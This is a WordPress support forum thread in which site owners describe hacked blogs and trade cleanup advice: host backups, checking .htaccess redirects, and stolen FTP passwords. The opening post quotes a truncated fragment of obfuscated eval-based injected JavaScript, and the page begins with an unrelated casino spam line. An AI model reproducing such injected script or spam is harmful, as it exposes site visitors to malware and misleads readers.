Pogibet 888 login,9yc casino login ph register.REGISTER NOW GET FREE 888 PESOS REWARDS!

sinankurt
(@sinankurt)

13 years, 3 months ago

Hello,

i am from germany so sorry for my bad english.

I actually saw on Google Chrome that my WordPress Blog (www.quartel.de) includes malware. I did everything to remove that malwares, but i actually dont know how.

I donwloaded my whole WordPress-Content with Filezilla, but i dont know how and where to search for the viruses. Google says that it should like this:

<script>var s=new String();try{document.getElementById(‘t3v2562v3r3’).innerHTML}catch(q){r=1;c=String;}if(r&&document.createTextNode)o=2;e=window.eval;m=Array(4.5*o,18/o,52.5*o,204/o,16*o,

How can i find this malwares?

Viewing 7 replies - 16 through 22 (of 22 total)

← 1 2

Thread Starter sinankurt
(@sinankurt)

13 years, 3 months ago

@rballin Ok, what should I ask my Hoster to do know?

rballin
(@rballin)

13 years, 3 months ago

I explained that I was hacked. I told him that I tried to delete all the wordpress files, but wasn’t sure how to reinstall them. Ask if they have a back up from a few days before you were hacked that they can install for you. Ask if they can take a look and see if there is anything there. My malware was in the Frontpage Extension, so have them check there as well as the code for the different pages. They should be able to delete it and put everything back to normal.

ericgriffin
(@ericgriffin)

13 years, 3 months ago

Here is a simple step by step that I ran across that may help.

https://actonweb.us/2011/01/how-to-clean-a-hacked-wordpress-site/

Daniel Cid
(@ddsucurinet)

13 years, 3 months ago

Also, note that this type of malware is related to stolen FTP passwords. We are seeing it on many sites and it comes through desktop viruses that steal passwords…

We did a blog post explaining about it a while ago:
https://blog.sucuri.net/2010/06/web-site-security-it-starts-with-your-desktop.html

*The malware infection is different, but the method is the same.

thanks,

cmcenearney
(@cmcenearney)

13 years, 3 months ago

My site was recently hacked with users being redirected to

https://sweepstakesandcontestsinfo.com/nl.php?nnn=555

The hackers injected all kinds of crap into my site – adding scripts to .html files and .php files and creating new .php files. MOST IMPORTANTLY: they added redirect to the .htaccess files as described here:

https://blog.sucuri.net/2011/11/htaccess-redirection-to-sweepstakesandcontestsinfo-dot-com.html

I deleted them and everything is ok again, for now. I still have to figure out how it happened. NOTE: .htaccess is normally “invisible”, so if you’re not accessing from the command line you might need to adjust settings in your ftp client. Useful info here (even if not hosted by dreamhost):
https://wiki.dreamhost.com/Htaccess#Finding_.htaccess_Files

Pioneer Web Design
(@swansonphotos)

13 years, 3 months ago

cmcenearney,

You will get more attention to your issue if you create a new post.

mombley
(@mombley)

12 years, 8 months ago

Hi!

I see this is an old issue, but I have a question – if my db (of wp site) was hacked, can I do anything at all? This is just “in case” question, because as I see it, I can’t – all of my rihts were shut down, so I can’t even create a new db, even more, I can’t login to phpMyAdmin …

Thanks!